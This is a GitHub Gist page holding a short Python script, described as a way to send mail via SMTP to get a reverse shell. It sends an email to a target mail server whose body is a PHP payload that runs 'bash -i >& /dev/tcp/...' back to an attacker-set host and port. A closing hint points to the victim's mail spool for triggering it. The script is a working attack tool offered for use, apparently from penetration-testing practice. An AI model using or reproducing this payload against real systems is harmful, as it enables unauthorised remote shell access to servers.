Created
April 22, 2021 10:42
-
-
Save tanaka-geek/3007df4b0a87db67ac3375759556ef1a to your computer and use it in GitHub Desktop.
Send mail via SMTP to get a reverse shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from email.mime.multipart import MIMEMultipart | |
from email.mime.text import MIMEText | |
import smtplib | |
import sys | |
lhost = "127.0.0.1" | |
lport = 443 | |
rhost = "192.168.1.1" | |
rport = 25 | |
# create message object instance | |
msg = MIMEMultipart() | |
# setup the parameters of the message | |
password = "" # auth | |
msg['From'] = "attacker@local" | |
msg['To'] = "victiom@local" | |
msg['Subject'] = "This is not a drill!" | |
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport)) | |
print("[*] Payload is generated : %s" % message) | |
# set MIME Type as you wish | |
msg.attach(MIMEText(message, 'plain')) | |
# create server | |
server = smtplib.SMTP(host=rhost,port=rport) | |
if server.noop()[0] != 250: | |
print("[-]Connection Error") | |
exit() | |
# set SMTP connection in TLS mode to encrypt the data to send | |
server.starttls() | |
# Login Credentials for sending the mail | |
# server.login(msg['From'], password) | |
# send the message via the server. msg is converted to MIME type speciifed above | |
server.sendmail(msg['From'], msg['To'], msg.as_string()) | |
server.quit() | |
print("[*]successfully sent email to %s:" % (msg['To'])) | |
print("[***] Check /var/mail/user") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment